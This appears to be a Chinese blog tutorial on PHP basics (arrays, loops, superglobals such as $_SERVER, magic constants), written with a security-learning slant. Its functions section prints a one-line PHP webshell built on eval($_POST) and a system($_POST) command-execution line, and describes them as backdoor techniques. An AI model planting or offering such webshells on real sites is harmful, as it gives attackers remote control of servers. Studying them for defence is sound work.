首页 > 其他分享 >数组,条件,循环,重要函数,超级全局变量,魔术方法

数组,条件,循环,重要函数,超级全局变量,魔术方法

时间:2023-08-06 17:00:37浏览次数:39  
标签:echo __ HTTP SERVER 魔术 数组 全局变量

目录

数组,条件,循环,实战
重要函数
超级全局变量
魔术方法


数组,条件,循环,实战

数组

在 PHP 中,array() 函数用于创建数组:

$cars=array("Volvo","BMW","Toyota");

在 PHP 中,有三种类型的数组:
数值数组 - 带有数字 ID 键的数组
关联数组 - 带有指定的键的数组,每个键关联一个值
多维数组 - 包含一个或多个数组的数组


遍历并打印数值数组中的所有值,您可以使用 for 循环,如下所示:

$cars=array("Volvo","BMW","Toyota");
$arrlength=count($cars);
for($x=0;$x<$arrlength;$x++)
{
    echo $cars[$x].'<br>';
}

遍历并打印关联数组中的所有值,您可以使用 foreach 循环,如

$age=array("Peter"=>"35","Ben"=>"37","Joe"=>"43");
foreach($age as $x=>$x_value)
{
    echo "Key=" . $x . ", Value=" . $x_value;
    echo "<br>";
}


条件

if 语句 - 在条件成立时执行代码

if...else 语句 - 在条件成立时执行一块代码,条件不成立时执行另一块代码

if...elseif....else语句 - 在若干条件之一成立时执行一个代码块 switch 语句 - 在若干条件之一成立时执行一个代码块

用法和c语言一样


循环

while (条件) { 要执行的代码; }

for (初始值; 条件; 增量) { 要执行的代码; }

实战

<?php
$rand=$_GET["rand"];
if ($rand==null){
$rand=rand(10,99);
}
//for循环爆破
// for ($num=0;$num<=$rand;$num++){
// echo "正在爆破".$num;
// $a="爆破成功,结果为".$num;
// }
// $num=0;
// while ($num<=$rand){
// echo "正在爆破".$num;
// $a="爆破成功,结果为".$num;
// $num++;
// }
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="" method="get">
<input type="password" name="rand" value=<?php echo $rand;?>>
<h2>清空上面的内容,即可重新开始游戏</h2>
</br>
<h1>猜猜我的数字是多少,范围10-99</h1>
<input type="submit" value="点击开始自动爆破">
<?php echo $a;?>
</br>
</form>
</body>
</html>


重要函数

1.echo phpinfo()

作用:1.检查是否能运行php 2.很多php相关信息,做debug


2.eval:1.执行字符串代码,把字符串当作代码-->可用来计算 2.后门植入

$a="23+3";
$b="+3";
echo eval("return $a.txt$b;");

一句话木马:
<?php @eval($_POST['shell']);?>

3.system

system('ipconfig');
system($_POST['aaa'])//交互

超级全局变量

PHP 超级全局变量列表:

$GLOBALS $_SERVER $_REQUEST $_POST $_GET $_FILES $_ENV $_COOKIE $_SESSION

全局变量用$GLOBALS ,

$GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

<?php
$x = 75;
$y = 25;
function addition()
{
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
addition();
echo $z;
?>


$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信 息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器 可能会忽略一些,或者提供一些没有在这里列举出来的项目。

这些是服务器创建的项目,它在所有的脚本中都有效

echo var_dump($_SERVER);//结构
foreach ($_SERVER as $x=>$y)
    echo $x."<br>";
    echo $y;
echo $_SERVER['PHP_SELF'];
echo "<br>";
echo $_SERVER['SERVER_NAME'];
echo "<br>";
echo $_SERVER['HTTP_HOST'];
echo "<br>";
echo $_SERVER['HTTP_REFERER'];
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT'];
echo "<br>";
echo $_SERVER['SCRIPT_NAME'];
?>

如一些重要的信息:

$_SERVER['HTTP_HOST'] #当前请求的 Host: 头部的内容。
$_SERVER['HTTP_REFERER'] #链接到当前页面的前一页面的 URL 地址。
$_SERVER['HTTP_USER_AGENT'] #当前请求的 User_Agent: 头部的内容。
$_SERVER['HTTPS'] — 如果通过https访问,则被设为一个非空的值(on),否则返回off
$_SERVER['REMOTE_ADDR'] #正在浏览当前页面用户的 IP 地址。
$_SERVER['REMOTE_HOST'] #正在浏览当前页面用户的主机名。
$_SERVER['REMOTE_PORT'] #用户连接到服务器时所使用的端口$_SERVER[”HTTP_X_FORWARDED_FOR”] #透过代理服务器取得客户端的真实 IP 地址
$_SERVER['HTTP_VIA'] #代理服务器IP
$_SERVER['HTTP_CLIENT_IP'] #客户端IP


魔术方法

下面注释即用法

echo   __LINE__.'<br>';//文件中的当前行号。
echo __FILE__."<br>";//文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
echo __DIR__;//文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录

class test
{
    function _print()
    {
        echo 'class name' . __CLASS__ . "<br>";//类的名称
        echo 'funcation name' . __FUNCTION__;//函数名称
    }
}
$t=new test();
$t->_print();

标签:echo,__,HTTP,SERVER,魔术,数组,全局变量
From: https://www.cnblogs.com/betty-123/p/17609399.html

相关文章

  • 【JavaScript03】Array数组对象基本操作
    首先定义一个数组,可以用[];也可以使用newArray()来创建一个数组对象数组通过下标取值数组通过下标取值,从0开始在python中可以通过下标-1反着取倒数第一个值,JavaScript中没这种取值方法.当数组的下标不在它取值范围内,如x有4个成员,那么取值是0-3,非0-3的数字下标取值,得到......
  • 【动态规划】【力扣357次周赛】6953. 判断是否能拆分数组
    【力扣357次周赛】6953.判断是否能拆分数组给你一个长度为n的数组nums和一个整数m。请你判断能否执行一系列操作,将数组拆分成n个非空数组。在每一步操作中,你可以选择一个长度至少为2的现有数组(之前步骤的结果)并将其拆分成2个子数组,而得到的每个子数组,至少需......
  • ES6数组reduce方法使用
    reduce方法对数组中的每个元素执行一个reducer函数,将其减少为单个值。reduce的语法如下:letresult=arr.reduce(reducer,initialValue);reducer函数包含四个参数:accumulator-累计器,默认为initialValue的值,累计回调函数的返回值currentValue-数组中正在处理的元素......
  • C关于一维数组以及二维数组的创建和简单利用(上)
    第一段代码#include<stdio.h>#include<String.h>intmain(){inta[]={1,2,3,4,5,6,7,8,9,10};intb=sizeof(a)/sizeof(a[0]);intc=0;for(c=0;c<b;c+=1){printf("&a[%d]=%p\n",c,&a[c]);}......
  • 王道408用数组,链表以及双向链表实现栈、队列
    我在电脑上敲了一遍,又在纸上模拟了一遍下面记录在电脑上敲的:一、用数组实现栈#include<stdio.h>#include<string.h>#defineMaxSize50typedefstruct{intdata[MaxSize];inttop;}stack;voidInitStack(stack&S){S.top=-1;S.data[0]=5;......
  • JS数组有哪些常用原生方法?哪些能改变数组本身?
    1.数组和字符串的转换方法toString不改变原数组constarr=[1,2,3]console.log(arr.toString());//1,2,3join不改变原数组join(str)数组转字符串,接收一个参数,默认为逗号分隔符。constarr=[1,2,3]console.log(arr)//[1,2,3]console.log(ar......
  • 二维数组花式遍历(旋转,螺旋) [labuladong-刷题打卡 day5]
    矩阵旋转48.旋转图像难点主要在于:用翻转和镜像处理逆反和旋转,和逆转单词一样“难者不会,会者不难”,思路简单镜像的坐标对应关系处理语言特性的利用,不同语言有不同api,实际代码中会有很大不同,但思想一致如果确定矩阵维数,通过线性代数应该可以直接计算答案...classSolution......
  • 将数组初始化为0并且逆置
    voidinit(int*arr,intsz){ inti=0; for(i=0;i<sz;i++) { arr[i]=0; }}voidprint(intarr[],intsz){ inti=0; for(i=0;i<sz;i++) { printf("%d",arr[i]); } printf("\n");}voidreverse(intarr[],intsz){ intleft=......
  • Python全局变量
    关于Python跨文件全局变量作用域的问题可以定义一个Global_var.py将所有的全局变量放进去,在其他模块导入;重点:在其他模块中使用importGlobal_var导入时,在函数内部使用Global_var.变量名即可直接修改全局变量,无需global修饰;但是使用fromGlobal_varimport*导入模块时必须要在......
  • 5445.子数组和排序后的区间和
          1intcmp(constvoid*a,constvoid*b)2{3return*(int*)a-*(int*)b;4}5intrangeSum(int*nums,intnumsSize,intn,intleft,intright){6if(n<=0)returnNULL;7intm=numsSize*(numsSize+1)/2,i,j,k;8intn......